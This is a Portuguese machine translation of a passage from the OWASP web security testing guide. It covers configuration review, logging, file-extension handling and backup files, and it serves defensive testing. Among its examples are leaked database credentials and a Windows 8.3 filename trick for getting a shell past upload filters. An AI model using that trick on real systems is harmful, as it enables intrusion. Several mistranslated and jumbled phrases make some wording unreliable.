4.2.2 Configuração da Plataforma do Aplicativo de Teste
4.2.3 Manipulação de extensões de arquivo de teste para informações confidenciais
4.2.4 Revisão de backup antigo e arquivos não referenciados para informações confidenciais
4.2.5 Enumerar infraestrutura e interfaces de administração de aplicativos
4.2.6 Testar métodos HTTP
4.2.7 Testar segurança de transporte estrito HTTP
4.2.8 Testar política de domínio cruzado de RIA
4.2.9 Permissão de arquivo de teste
4.2.10 Teste para Aquisição de Subdomínio
4.2.11 Testar armazenamento em nuvem

88
Testar configuração de infraestrutura de rede
EU IRIA
WSTG-CONF-01
Resumo
A complexidade intrínseca da infraestrutura de servidor da web interconectada e heterogênea, que pode incluir centenas de aplicativos da web, torna
o gerenciamento de configuração e a revisão uma etapa fundamental no teste e implantação de cada aplicativo. Basta uma única vulnerabilidade
para minar a segurança de toda a infraestrutura, e mesmo problemas pequenos e aparentemente sem importância podem evoluir para riscos graves
para outro aplicativo no mesmo servidor. Para solucionar esses problemas, é de extrema importância realizar uma revisão aprofundada da
configuração e dos problemas de segurança conhecidos, após ter mapeado toda a arquitetura.
O gerenciamento adequado da configuração da infraestrutura do servidor web é muito importante para preservar a segurança do próprio aplicativo.
Se elementos como o software do servidor da Web, os servidores de banco de dados de back-end ou os servidores de autenticação não forem
revisados e protegidos adequadamente, eles podem apresentar riscos indesejados ou introduzir novas vulnerabilidades que podem comprometer o
próprio aplicativo.
Por exemplo, uma vulnerabilidade de servidor web que permitiria que um invasor remoto divulgasse o código-fonte do próprio aplicativo (uma
vulnerabilidade que surgiu várias vezes em servidores web ou servidores de aplicativos) poderia comprometer o aplicativo, pois usuários anônimos
poderiam usar as informações divulgadas no código-fonte para alavancar ataques contra o aplicativo ou seus usuários.
As seguintes etapas precisam ser executadas para testar a infraestrutura de gerenciamento de configuração:
Os diferentes elementos que compõem a infraestrutura precisam ser determinados para entender como eles interagem com uma aplicação
web e como afetam sua segurança.
Todos os elementos da infraestrutura precisam ser revisados para garantir que não contenham vulnerabilidades conhecidas.
Uma revisão precisa ser feita das ferramentas administrativas usadas para manter todos os diferentes elementos.
Os sistemas de autenticação precisam ser revisados para garantir que atendam às necessidades do aplicativo e que não possam ser
manipulados por usuários externos para alavancar o acesso.
Uma lista de portas definidas que são necessárias para o aplicativo deve ser mantida sob controle de alterações.
Depois de ter mapeado os diferentes elementos que compõem a infraestrutura (ver Mapa de Rede e Arquitetura de Aplicações) é possível rever a
configuração de cada elemento encontrado e testar as vulnerabilidades conhecidas.
Objetivos do teste
Revise as configurações dos aplicativos definidas na rede e confirme se eles não são vulneráveis.
Valide se as estruturas e sistemas usados são seguros e não suscetíveis a vulnerabilidades conhecidas devido a software não mantido ou
configurações e credenciais padrão.
Como testar
Vulnerabilidades conhecidas do servidor
Vulnerabilidades encontradas nas diversas áreas da arquitetura do aplicativo, seja no servidor web ou no banco de dados back-end, podem
comprometer gravemente o próprio aplicativo. Por exemplo, considere uma vulnerabilidade de servidor que permite que um usuário remoto e não
autenticado carregue arquivos no servidor da web ou até mesmo substitua arquivos. Essa vulnerabilidade pode comprometer o aplicativo, pois um
usuário não autorizado pode substituir o próprio aplicativo ou introduzir código que afetaria os servidores de back-end, pois o código do aplicativo
seria executado como qualquer outro aplicativo.
89
A revisão das vulnerabilidades do servidor pode ser difícil se o teste precisar ser feito por meio de um teste de penetração cego. Nesses casos,
as vulnerabilidades precisam ser testadas em um local remoto, geralmente usando uma ferramenta automatizada. No entanto, o teste de algumas
vulnerabilidades pode ter resultados imprevisíveis no servidor da Web, e o teste de outras (como aquelas diretamente envolvidas em ataques de
negação de serviço) pode não ser possível devido ao tempo de inatividade do serviço envolvido se o teste for bem-sucedido.
Algumas ferramentas automatizadas sinalizarão vulnerabilidades com base na versão do servidor da Web recuperada. Isso leva a falsos positivos
e falsos negativos. Por um lado, se a versão do servidor da Web tiver sido removida ou ocultada pelo administrador do site local, a ferramenta
de verificação não sinalizará o servidor como vulnerável, mesmo que seja. Por outro lado, se o fornecedor do software não atualizar a versão do
servidor web quando as vulnerabilidades forem corrigidas, a ferramenta de verificação sinalizará vulnerabilidades que não existem. O último caso
é realmente muito comum, pois alguns fornecedores de sistemas operacionais fazem back-port de patches de vulnerabilidades de segurança
para o software que eles fornecem no sistema operacional, mas não fazem um upload completo para a versão mais recente do software. Isso
acontece na maioria das distribuições GNU/Linux, como Debian, Red Hat ou SuSE. Na maioria dos casos, a varredura de vulnerabilidade de
uma arquitetura de aplicativo encontrará apenas vulnerabilidades associadas aos elementos “expostos” da arquitetura (como o servidor da Web)
e geralmente não conseguirá encontrar vulnerabilidades associadas a elementos que não estão diretamente expostos, como os back-ends de
autenticação, o banco de dados back-end ou os proxies reversos em uso.
Finalmente, nem todos os fornecedores de software divulgam vulnerabilidades de forma pública e, portanto, essas fraquezas não são registradas
em bancos de dados de vulnerabilidades conhecidos publicamente [2]. Essas informações são divulgadas apenas aos clientes ou publicadas por
meio de correções que não possuem avisos de acompanhamento. Isso reduz a utilidade das ferramentas de varredura de vulnerabilidade.
Normalmente, a cobertura de vulnerabilidade dessas ferramentas será muito boa para produtos comuns (como o servidor da Web Apache, o
Internet Information Server da Microsoft ou o Lotus Domino da IBM), mas será insuficiente para produtos menos conhecidos.
É por isso que a revisão de vulnerabilidades é melhor feita quando o testador recebe informações internas do software usado, incluindo versões
e lançamentos usados e patches aplicados ao software. Com essas informações, o testador pode recuperar as informações do próprio fornecedor
e analisar quais vulnerabilidades podem estar presentes na arquitetura e como elas podem afetar o próprio aplicativo. Quando possível, essas
vulnerabilidades podem ser testadas para determinar seus efeitos reais e detectar se pode haver algum elemento externo (como detecção de
intrusão ou sistemas de prevenção) que possa reduzir ou anular a possibilidade de exploração bem-sucedida. Os testadores podem até
determinar, por meio de uma revisão de configuração, que a vulnerabilidade nem está presente, pois afeta um componente de software que não
está em uso.
Também vale a pena observar que os fornecedores às vezes corrigem vulnerabilidades silenciosamente e disponibilizam as correções com
novos lançamentos de software. Fornecedores diferentes terão ciclos de lançamento diferentes que determinam o suporte que eles podem
fornecer para versões mais antigas. Um testador com informações detalhadas das versões de software usadas pela arquitetura pode analisar o
risco associado ao uso de versões de software antigas que podem não ser suportadas a curto prazo ou já não são suportadas.
Isso é crítico, pois se uma vulnerabilidade surgir em uma versão de software antiga que não é mais suportada, o pessoal do sistema pode não
estar diretamente ciente disso. Nenhum patch será disponibilizado para ele e os avisos podem não listar essa versão como vulnerável, pois não
é mais suportada. Mesmo que eles saibam que a vulnerabilidade está presente e o sistema é vulnerável, eles precisarão fazer uma atualização
completa para uma nova versão do software, o que pode introduzir um tempo de inatividade significativo na arquitetura do aplicativo ou pode
forçar o aplicativo a ser reinstalado. -codificado devido a incompatibilidades com a versão mais recente do software.
Ferramentas administrativas
Qualquer infraestrutura de servidor web requer a existência de ferramentas administrativas para manter e atualizar as informações utilizadas
pelo aplicativo. Essas informações incluem conteúdo estático (páginas da Web, arquivos gráficos), código-fonte do aplicativo, bancos de dados
de autenticação do usuário, etc. As ferramentas administrativas serão diferentes dependendo do site, tecnologia ou software usado. Por exemplo,
alguns servidores web serão gerenciados usando interfaces administrativas que são, eles próprios, servidores web (como o servidor web iPlanet)
ou serão administrados por arquivos de configuração de texto simples (no caso Apache [3]) ou usar sistema operacional Ferramentas GUI (ao
usar o servidor IIS da Microsoft ou ASP.Net).
Na maioria dos casos, a configuração do servidor será feita usando diferentes ferramentas de manutenção de arquivos usadas pelo servidor
web, que são gerenciadas por meio de servidores FTP, WebDAV, sistemas de arquivos de rede (NFS, CIFS) ou outros mecanismos. Obviamente,
o sistema operacional dos elementos que compõem a arquitetura do aplicativo também será gerenciado por meio de outras ferramentas.
90
Os aplicativos também podem ter interfaces administrativas incorporadas que são usadas para gerenciar os próprios dados do aplicativo (usuários,
conteúdo, etc.).
Depois de mapear as interfaces administrativas usadas para gerenciar as diferentes partes da arquitetura, é importante revisá-las, pois se um invasor
obtiver acesso a qualquer uma delas, poderá comprometer ou danificar a arquitetura do aplicativo. Para isso é importante:
Determine os mecanismos que controlam o acesso a essas interfaces e suas suscetibilidades associadas. Esta informação pode estar disponível
online.
Altere o nome de usuário e a senha padrão.
Algumas empresas optam por não gerenciar todos os aspectos de seus aplicativos de servidor da web, mas podem ter outras partes gerenciando o
conteúdo entregue pelo aplicativo da web. Essa empresa externa pode fornecer apenas partes do conteúdo (atualizações de notícias ou promoções)
ou pode gerenciar o servidor web completamente (incluindo conteúdo e código). É comum encontrar interfaces administrativas disponíveis na Internet
nessas situações, pois usar a Internet é mais barato do que fornecer uma linha dedicada que conectará a empresa externa à infraestrutura de
aplicativos por meio de uma interface apenas de gerenciamento. Nessa situação, é muito importante testar se as interfaces administrativas podem ser
vulneráveis a ataques.
Referências
[1] O WebSEAL, também conhecido como Tivoli Authentication Manager, é um proxy reverso da IBM que faz parte da estrutura Tivoli.
[2] Como o Bugtraq da Symantec, o X-Force da ISS ou o National Vulnerability Database (NVD) do NIST.
[3] Existem algumas ferramentas de administração baseadas em GUI para o Apache (como o NetLoony), mas ainda não estão em uso
generalizado.
91
Configuração da plataforma do aplicativo de teste
EU IRIA
WSTG-CONF-02
Resumo
A configuração adequada dos elementos individuais que compõem uma arquitetura de aplicativo é importante para evitar erros que possam comprometer
a segurança de toda a arquitetura.
Revisão e teste de configuração é uma tarefa crítica na criação e manutenção de uma arquitetura. Isso ocorre porque muitos sistemas diferentes
geralmente são fornecidos com configurações genéricas que podem não ser adequadas à tarefa que executarão no site específico em que estão
instalados.
Embora a instalação típica do servidor de aplicativos e da Web contenha muitas funcionalidades (como exemplos de aplicativos, documentação, páginas
de teste), o que não é essencial deve ser removido antes da implantação para evitar a exploração pós-instalação.
Objetivos do teste
Certifique-se de que os padrões e arquivos conhecidos foram removidos.
Valide se nenhum código de depuração ou extensões são deixados nos ambientes de produção.
Revise os mecanismos de log definidos para o aplicativo.
Como testar
Arquivos e diretórios de amostra e conhecidos
Muitos servidores web e servidores de aplicativos fornecem, em uma instalação padrão, aplicativos e arquivos de amostra para o benefício do
desenvolvedor e para testar se o servidor está funcionando corretamente logo após a instalação. No entanto, muitos aplicativos de servidor da Web
padrão foram posteriormente conhecidos como vulneráveis. Este foi o caso, por exemplo, para CVE-1999-0449 (Negação de Serviço no IIS quando o
site de exemplo Exair foi instalado), CAN-2002-1744 (Vulnerabilidade de travessia de diretório no CodeBrws.asp no Microsoft IIS 5.0), CAN -2002-1630
(Uso de sendmail.jsp no Oracle 9iAS) ou CAN 2003-1172 (Passagem de diretório na amostra de fonte de exibição no Cocoon do Apache).
Os scanners CGI incluem uma lista detalhada de arquivos conhecidos e amostras de diretório que são fornecidas por diferentes servidores da Web ou
de aplicativos e podem ser uma maneira rápida de determinar se esses arquivos estão presentes. No entanto, a única maneira de ter certeza é fazer
uma revisão completa do conteúdo do servidor da Web ou do servidor de aplicativos e determinar se eles estão relacionados ao próprio aplicativo ou
não.
Revisão de comentário
É muito comum que os programadores adicionem comentários ao desenvolver grandes aplicativos baseados na web. No entanto, comentários incluídos
em linha no código HTML podem revelar informações internas que não deveriam estar disponíveis para um invasor.
Às vezes, até mesmo o código-fonte é comentado, pois uma funcionalidade não é mais necessária, mas esse comentário é vazado para as páginas
HTML retornadas aos usuários involuntariamente.
A revisão de comentários deve ser feita para determinar se alguma informação está vazando por meio de comentários. Esta revisão só pode ser feita
minuciosamente através de uma análise do conteúdo estático e dinâmico do servidor web e através de pesquisas de arquivos. Pode ser útil navegar no
site de forma automática ou guiada e armazenar todo o conteúdo recuperado.
Esse conteúdo recuperado pode então ser pesquisado para analisar quaisquer comentários HTML disponíveis no código.
Configuração do sistema
92
Várias ferramentas, documentos ou listas de verificação podem ser usadas para fornecer aos profissionais de TI e segurança uma avaliação detalhada da
conformidade dos sistemas de destino com várias linhas de base ou benchmarks de configuração. Essas ferramentas incluem (mas não estão limitadas a):
CIS-CAT Lite
Analisador de superfície de ataque da Microsoft
Programa Nacional de Lista de Verificação do NIST

Revisão da configuração
A configuração do servidor web ou do servidor de aplicativos tem um papel importante na proteção do conteúdo do site e deve ser cuidadosamente revisada para
detectar erros comuns de configuração. Obviamente, a configuração recomendada varia dependendo da política do site e da funcionalidade que deve ser fornecida
pelo software do servidor. Na maioria dos casos, no entanto, as diretrizes de configuração (fornecidas pelo fornecedor do software ou terceiros) devem ser
seguidas para determinar se o servidor foi devidamente protegido.
É impossível dizer genericamente como um servidor deve ser configurado, no entanto, algumas diretrizes comuns devem ser
levado em consideração:
Ative apenas os módulos do servidor (extensões ISAPI no caso do IIS) necessários para o aplicativo. Isso reduz a superfície de ataque, pois o tamanho e a
complexidade do servidor são reduzidos à medida que os módulos de software são desabilitados. Também evita que vulnerabilidades que possam aparecer
no software do fornecedor afetem o site se estiverem presentes apenas em módulos que já foram desativados.
Lide com erros de servidor (40x ou 50x) com páginas personalizadas em vez de páginas padrão do servidor da Web.
Especificamente, certifique-se de que nenhum erro de aplicativo seja retornado ao usuário final e que nenhum código vaze por meio desses erros, pois isso
ajudará um invasor. Na verdade, é muito comum esquecer esse ponto, pois os desenvolvedores precisam dessas informações em ambientes de pré-
produção.
Certifique-se de que o software do servidor seja executado com privilégios minimizados no sistema operacional. Isso evita que um erro no software do
servidor comprometa diretamente todo o sistema, embora um invasor possa elevar os privilégios ao executar o código como servidor da web.
Certifique-se de que o software do servidor registre corretamente o acesso legítimo e os erros.
Certifique-se de que o servidor esteja configurado para lidar adequadamente com sobrecargas e evitar ataques de negação de serviço. Certifique-se de que
o desempenho do servidor foi ajustado corretamente.
Nunca conceda identidades não administrativas (com exceção de NT SERVICE\WMSvc ) acesso a applicationHost.config, redirection.config e
Administration.config (acesso de leitura ou gravação). Isso inclui ou qualquer identidade personalizada usada por pools de aplicativos IIS. Processos de
Serviço de rede , IIS_IUSRS , IUSR , trabalho do IIS
não se destinam a acessar nenhum desses arquivos diretamente.
Nunca compartilhe applicationHost.config, redirection.config e Administration.config na rede. Ao usar a Configuração compartilhada, prefira exportar
applicationHost.config para outro local (consulte a seção intitulada “Definindo permissões para configuração compartilhada).
Lembre-se de que todos os usuários podem ler arquivos .NET Framework machine.config e root web.config por padrão. Não armazene informações
confidenciais nesses arquivos se for apenas para os olhos do administrador.
Criptografe informações confidenciais que devem ser lidas apenas pelos processos de trabalho do IIS e não por outros usuários na máquina.
Não conceda acesso de gravação à identidade que o servidor Web usa para acessar o applicationHost.config compartilhado .
Essa identidade deve ter apenas acesso de leitura.
Use uma identidade separada para publicar applicationHost.config no compartilhamento. Não use esta identidade para configurar o acesso à configuração
compartilhada nos servidores da Web.
Use uma senha forte ao exportar as chaves de criptografia para uso com configuração compartilhada.
Mantenha o acesso restrito ao compartilhamento que contém a configuração compartilhada e as chaves de criptografia. Se esse compartilhamento for
comprometido, um invasor poderá ler e gravar qualquer configuração do IIS para seus servidores Web, redirecionar o tráfego
93
do seu site da Web para fontes maliciosas e, em alguns casos, obter o controle de todos os servidores da Web carregando código arbitrário nos processos de trabalho
do IIS.
Considere proteger esse compartilhamento com regras de firewall e políticas IPsec para permitir que apenas os servidores Web membros
conectar.
Exploração madeireira
O registro é um recurso importante da segurança de uma arquitetura de aplicativo, pois pode ser usado para detectar falhas em aplicativos (usuários constantemente
tentando recuperar um arquivo que realmente não existe), bem como ataques contínuos de usuários não autorizados. Os logs são normalmente gerados corretamente pela
Web e outro software de servidor. Não é comum encontrar aplicativos que registrem adequadamente suas ações em um log e, quando o fazem, a principal intenção dos logs
do aplicativo é produzir uma saída de depuração que possa ser usada pelo programador para analisar um determinado erro.
Em ambos os casos (logs do servidor e do aplicativo) vários problemas devem ser testados e analisados com base no conteúdo do log:
1. Os logs contêm informações confidenciais?
2. Os logs são armazenados em um servidor dedicado?
3. O uso de log pode gerar uma condição de negação de serviço?
4. Como eles são girados? Os logs são mantidos por tempo suficiente?
5. Como os logs são revisados? Os administradores podem usar essas análises para detectar ataques direcionados?
6. Como os backups de log são preservados?
7. Os dados que estão sendo registrados são validados (comprimento mínimo/máximo, caracteres, etc.) antes de serem registrados?
Informações confidenciais em logs
Alguns aplicativos podem, por exemplo, usar solicitações GET para encaminhar dados de formulário que serão vistos nos logs do servidor.
Isso significa que os logs do servidor podem conter informações confidenciais (como nomes de usuário como senhas ou detalhes de contas bancárias). Essas informações
confidenciais podem ser mal utilizadas por um invasor se ele obtiver os logs, por exemplo, por meio de interfaces administrativas ou vulnerabilidades conhecidas do servidor
da Web ou configuração incorreta (como a conhecida configuração incorreta do status do servidor em servidores HTTP baseados em Apache).
Os logs de eventos geralmente contêm dados que são úteis para um invasor (vazamento de informações) ou podem ser usados diretamente em explorações:
Informações de depuração
Rastreamentos de pilha
Nomes de usuário
Nomes de componentes do sistema
Endereços IP internos
Dados pessoais menos sensíveis (por exemplo, endereços de e-mail, endereços postais e números de telefone associados a indivíduos nomeados)
dados comerciais
Além disso, em algumas jurisdições, armazenar algumas informações confidenciais em arquivos de log, como dados pessoais, pode obrigar a empresa a aplicar as leis de
proteção de dados que aplicariam a seus bancos de dados de back-end para arquivos de log também. E deixar de fazê-lo, mesmo sem saber, pode acarretar penalidades
de acordo com as leis de proteção de dados aplicáveis.
Uma lista mais ampla de informações confidenciais é:
Código-fonte do aplicativo
Valores de identificação da sessão
Tokens de acesso
Dados pessoais confidenciais e algumas formas de informações de identificação pessoal (PII)
senhas de autenticação
Cadeias de conexão do banco de dados

94
chaves de criptografia
Dados da conta bancária ou do titular do cartão de pagamento
Dados de uma classificação de segurança mais alta do que o sistema de registro pode armazenar
Informações comercialmente sensíveis
Informações que é ilegal coletar na jurisdição relevante
Informações que um usuário optou por não coletar ou não consentiu, por exemplo, uso de não rastrear ou quando o consentimento para coletar expirou
Localização do registro
Normalmente, os servidores geram logs locais de suas ações e erros, consumindo o disco do sistema em que o servidor está sendo executado. No entanto, se o
servidor for comprometido, seus logs podem ser apagados pelo intruso para limpar todos os vestígios de seu ataque e métodos. Se isso acontecesse, o administrador
do sistema não teria conhecimento de como o ataque ocorreu ou onde a origem do ataque estava localizada. Na verdade, a maioria dos kits de ferramentas do invasor
''
isso énos
inclui um “log zapper” para limpar quaisquer logs que contenham informações fornecidas (como o endereço IP do invasor) e são usados rotineiramente capaz
root kits
de nível de sistema do invasor.
Conseqüentemente, é mais sensato manter os logs em um local separado e não no próprio servidor web. Isso também facilita a agregação de logs de diferentes
fontes que se referem ao mesmo aplicativo (como os de um farm de servidores da Web) e também facilita a análise de log (que pode exigir uso intensivo da CPU)
sem afetar o próprio servidor.
Armazenamento de registros
Os logs podem apresentar uma condição de negação de serviço se não forem armazenados adequadamente. Qualquer invasor com recursos suficientes poderia
produzir um número suficiente de solicitações que preencheriam o espaço alocado para arquivos de log, se não fossem especificamente impedidos de fazê-lo. No
entanto, se o servidor não estiver configurado corretamente, os arquivos de log serão armazenados na mesma partição de disco usada pelo software do sistema
operacional ou pelo próprio aplicativo. Isso significa que, se o disco ficar cheio, o sistema operacional ou o aplicativo poderá falhar porque não consegue gravar no
disco.
Normalmente, em sistemas UNIX, os logs estarão localizados em /var (embora algumas instalações de servidor possam residir em /opt ou /usr/local) e é importante
certificar-se de que os diretórios nos quais os logs são armazenados estejam em uma partição separada. Em alguns casos, e para evitar que os logs do sistema sejam
afetados, o diretório de log do próprio software do servidor (como /var/log/apache no servidor web Apache) deve ser armazenado em uma partição dedicada.
Isso não quer dizer que os logs devam crescer para preencher o sistema de arquivos em que residem. O crescimento dos logs do servidor deve ser monitorado para
detectar essa condição, pois pode indicar um ataque.
Testar essa condição é tão fácil e tão perigoso em ambientes de produção quanto disparar um número suficiente e sustentado de solicitações para ver se essas
solicitações são registradas e se existe a possibilidade de preencher a partição de log por meio dessas solicitações. Em alguns ambientes onde os parâmetros
QUERY_STRING também são logados independentemente de serem produzidos através de requisições GET ou POST, podem ser simuladas grandes queries que
preencherão os logs mais rapidamente já que, normalmente, uma única requisição fará com que apenas uma pequena quantidade de dados seja registrados, como
data e hora, endereço IP de origem, solicitação de URI e resultado do servidor.
Rotação de registro
A maioria dos servidores (mas poucos aplicativos personalizados) alternará os logs para evitar que eles preencham o sistema de arquivos em que residem. A
suposição ao girar toras é que as informações contidas nelas são necessárias apenas para uma quantidade limitada de
Tempo.
Este recurso deve ser testado para garantir que:
Os logs são mantidos pelo tempo definido na política de segurança, nem mais nem menos.
Os logs são compactados uma vez girados (isso é uma conveniência, pois significa que mais logs serão armazenados para o mesmo espaço em disco
disponível).
As permissões do sistema de arquivos dos arquivos de log girados são as mesmas (ou mais rígidas) que as dos próprios arquivos de log. Por exemplo, os
servidores da Web precisarão gravar nos logs que usam, mas na verdade não precisam gravar nos logs rotacionados, o que significa
95
que as permissões dos arquivos podem ser alteradas durante a rotação para evitar que o processo do servidor web as modifique.
Alguns servidores podem rotacionar logs quando atingem um determinado tamanho. Se isso acontecer, deve-se garantir que um invasor não possa
forçar a rotação das toras para ocultar seus rastros.
Controle de acesso de registro
As informações do log de eventos nunca devem estar visíveis para os usuários finais. Mesmo os administradores da web não devem ser capazes de
ver esses logs, pois isso quebra os controles de separação de tarefas. Certifique-se de que qualquer esquema de controle de acesso usado para
proteger o acesso a logs brutos e quaisquer aplicativos que forneçam recursos para visualizar ou pesquisar os logs não esteja vinculado a esquemas
de controle de acesso para outras funções de usuário do aplicativo. Nenhum dado de log deve ser visualizado por usuários não autenticados.
Revisão de registro
A revisão de logs pode ser usada para mais do que extração de estatísticas de uso de arquivos nos servidores da web (que normalmente é o foco da
maioria dos aplicativos baseados em log), mas também para determinar se os ataques ocorrem no servidor da web.
Para analisar os ataques do servidor da Web, os arquivos de log de erros do servidor precisam ser analisados. A revisão deve se concentrar
em:
40x (não encontrado) mensagens de erro. Uma grande quantidade deles da mesma fonte pode ser indicativo de uma ferramenta de scanner
CGI sendo usada nas mensagens do servidor da web 50x (erro do servidor). Isso pode ser uma indicação de que um invasor está abusando de
partes do aplicativo que falham inesperadamente. Por exemplo, as primeiras fases de um ataque de injeção SQL produzirão essas mensagens
de erro quando a consulta SQL não for construída corretamente e sua execução falhar no banco de dados de back-end.
As estatísticas ou análises de log não devem ser geradas, nem armazenadas, no mesmo servidor que produz os logs. Caso contrário, um invasor
pode, por meio de uma vulnerabilidade do servidor da Web ou configuração inadequada, obter acesso a eles e recuperar informações semelhantes
às divulgadas pelos próprios arquivos de log.
Referências
Apache
Apache Security, por Ivan Ristic, O'reilly, março de 2005.
Apache Security Secrets: Revealed (Again), Mark Cox, novembro de 2003

Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, outubro de 2002
Ajuste de desempenho
lótus dominó
Lotus Security Handbook, William Tworek et al., abril de 2004, disponível na coleção IBM Redbooks Lotus Domino Security,
um white paper da X-force, Internet Security Systems, dezembro de 2002 Hackproofing Lotus Domino Web Server, David
Litchfield, outubro de 2001
Microsoft IIS
Práticas recomendadas de segurança para IIS 8
Benchmarks CIS Microsoft IIS
Protegendo seu servidor da Web (padrões e práticas), Microsoft Corporation, janeiro de 2004 IIS Security and
Programming Countermeasures, por Jason Coombs From Blueprint to Fortress: A Guide to Securing IIS 5.0, por
John Davis, Microsoft Corporation, junho de 2001
Lista de verificação do Secure Internet Information Services 5, por Michael Howard, Microsoft Corporation, junho de 2000
iPlanet da Red Hat (ex-Netscape)

Machine
96
Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, por James M Hayes, The Network
Applications Team of the Systems and Network Attack Center (SNAC), NSA, janeiro de 2001
WebSphere
IBM WebSphere V5.0 Security, WebSphere Handbook Series, por Peter Kovari et al., IBM, dezembro de 2002.
IBM WebSphere V4.0 Advanced Edition Security, por Peter Kovari et al., IBM, março de 2002.
Em geral
Folha de dicas de registro, OWASP
SP 800-92 Guia para gerenciamento de logs de segurança do computador, NIST
PCI DSS v3.2.1 Requisito 10 e PA-DSS v3.2 Requisito 4, PCI Security Standards Council
Genérico:
Módulos de Aperfeiçoamento de Segurança CERT: Protegendo Servidores Web Públicos
Como: Usar IISLockdown.exe

97
Testar a manipulação de extensões de arquivo para informações confidenciais
EU IRIA
WSTG-CONF-03
Resumo
As extensões de arquivo são comumente usadas em servidores da Web para determinar facilmente quais tecnologias, idiomas e plug-ins devem ser usados
para atender à solicitação da Web. Embora esse comportamento seja consistente com RFCs e padrões da Web, o uso de extensões de arquivo padrão
fornece ao testador de penetração informações úteis sobre as tecnologias subjacentes usadas em um dispositivo da web e simplifica muito a tarefa de
determinar o cenário de ataque a ser usado em tecnologias específicas. Além disso, a configuração incorreta de servidores da Web pode facilmente revelar
informações confidenciais sobre credenciais de acesso.
A verificação de extensão geralmente é usada para validar arquivos a serem carregados, o que pode levar a resultados inesperados porque o conteúdo não
é o esperado ou devido ao tratamento inesperado do nome de arquivo do sistema operacional.
Determinar como os servidores da Web lidam com solicitações correspondentes a arquivos com diferentes extensões pode ajudar a entender o comportamento
do servidor da Web, dependendo do tipo de arquivo acessado. Por exemplo, pode ajudar a entender quais extensões de arquivo são retornadas como texto
ou sem formatação versus aquelas que causam execução no lado do servidor. Os últimos são indicativos de tecnologias, idiomas ou plug-ins usados por
servidores da Web ou servidores de aplicativos e podem fornecer informações adicionais sobre como o aplicativo da Web é projetado. Por exemplo, uma
extensão “.pl” é geralmente associada ao suporte Perl do lado do servidor. No entanto, a extensão do arquivo por si só pode ser enganosa e não totalmente
conclusiva.
Por exemplo, os recursos Perl do lado do servidor podem ser renomeados para ocultar o fato de que são realmente relacionados ao Perl. Consulte a próxima
seção sobre “componentes do servidor da Web” para obter mais informações sobre como identificar tecnologias e componentes do lado do servidor.
Objetivos do teste
Extensões de arquivo confidenciais Dirbust ou extensões que podem conter dados brutos (por exemplo , scripts, dados brutos, credenciais, etc.).
Valide se não existem desvios de estrutura do sistema no conjunto de regras.
Como testar
Navegação forçada Envie
solicitações com diferentes extensões de arquivo e verifique como elas são tratadas. A verificação deve ser feita por diretório da web. Verifique os diretórios
que permitem a execução do script. Os diretórios do servidor Web podem ser identificados por ferramentas de varredura que procuram a presença de diretórios
conhecidos. Além disso, espelhar a estrutura do site da Web permite que o testador reconstrua a árvore de diretórios da Web servidos pelo aplicativo.
Se a arquitetura do aplicativo da web tiver balanceamento de carga, é importante avaliar todos os servidores da web. Isso pode ou não ser fácil, dependendo
da configuração da infraestrutura de balanceamento. Em uma infraestrutura com componentes redundantes, pode haver pequenas variações na configuração
de cada servidor web ou de aplicativos. Isso pode acontecer se a arquitetura da web empregar tecnologias heterogêneas (pense em um conjunto de servidores
web IIS e Apache em uma configuração de balanceamento de carga, que pode introduzir um comportamento ligeiramente assimétrico entre eles e,
possivelmente, diferentes vulnerabilidades).
Exemplo
O testador identificou a existência de um arquivo chamado connection.inc . Tentar acessá-lo diretamente devolve seu conteúdo, que são:
<?
mysql_connect("127.0.0.1", "root", "senha") ou die("Não foi
possível conectar");
?>
98
O testador determina a existência de um back-end MySQL DBMS e as credenciais (fracas) usadas pelo aplicativo da web para acessá-lo.
As seguintes extensões de arquivo nunca devem ser retornadas por um servidor da Web, pois estão relacionadas a arquivos que podem conter informações
confidenciais ou a arquivos para os quais não há motivo para serem atendidos.
.como um
.inc
.config
As seguintes extensões de arquivo estão relacionadas a arquivos que, quando acessados, são exibidos ou baixados pelo navegador. Portanto, arquivos com
essas extensões devem ser verificados para verificar se eles realmente devem ser servidos (e não são sobras) e se não contêm informações confidenciais.
.zip , .tar , .gz , .tgz , .rar , etc.: Arquivos compactados

(compactados) .java : Não há motivo para fornecer acesso aos arquivos de origem Java
.txt : arquivos de texto
.pdf : documentos PDF
.docx , .rtf , Office .xlsx , .pptx , etc.: Documentos do
.bak , .old e outras extensões indicativas de arquivos de backup (por exemplo: ~ para arquivos de backup do Emacs)
A lista fornecida acima detalha apenas alguns exemplos, uma vez que as extensões de arquivo são muitas para serem tratadas de forma abrangente aqui.
Consulte FILExt para um banco de dados mais completo de extensões.
Para identificar arquivos com determinadas extensões, uma combinação de técnicas pode ser empregada. Essas técnicas podem incluir Scanners de
Vulnerabilidade, ferramentas de spidering e espelhamento, inspeção manual do aplicativo (isso supera as limitações do spidering automático), consulta a
mecanismos de pesquisa (consulte Testes: Spidering e googling). Consulte também Testando arquivos antigos, de backup e não referenciados, que trata dos
problemas de segurança relacionados a arquivos “esquecidos”.
Carregar arquivo
Às vezes, a manipulação de arquivos herdados do Windows 8.3 pode ser usada para derrotar os filtros de upload de arquivos.
Exemplos de uso:
1. file.phtml é processado como código PHP.
2. FILE~1.PHT é servido, mas não processado pelo manipulador PHP ISAPI.
3. Shell.phPWND pode ser carregado.
4. SHELL~1.PHP será expandido e retornado pelo shell do SO, então processado pelo manipulador PHP ISAPI.
Teste de caixa cinza A
execução de testes de caixa branca em relação ao manuseio de extensões de arquivo equivale a verificar as configurações de servidores da Web ou servidores
de aplicativos que fazem parte da arquitetura do aplicativo da Web e verificar como eles são instruídos a atender a diferentes extensões de arquivo.
Se o aplicativo da web depende de uma infraestrutura heterogênea com balanceamento de carga, determine se isso pode introduzir um comportamento
diferente.
Ferramentas
Scanners de vulnerabilidade, como Nessus e Nikto, verificam a existência de diretórios da web conhecidos. Eles podem permitir que o testador baixe a
estrutura do site da Web, o que é útil ao tentar determinar a configuração de diretórios da Web e como as extensões de arquivos individuais são atendidas.
Outras ferramentas que podem ser usadas para esse fim incluem:
99
wget
ondulação
google para "ferramentas de espelhamento da web".

100
Revise o backup antigo e os arquivos não referenciados quanto a informações confidenciais

Em formação
EU IRIA
WSTG-CONF-04
Resumo
Embora a maioria dos arquivos em um servidor da Web sejam manipulados diretamente pelo próprio servidor, não é incomum encontrar arquivos não
referenciados ou esquecidos que podem ser usados para obter informações importantes sobre a infraestrutura ou as credenciais.
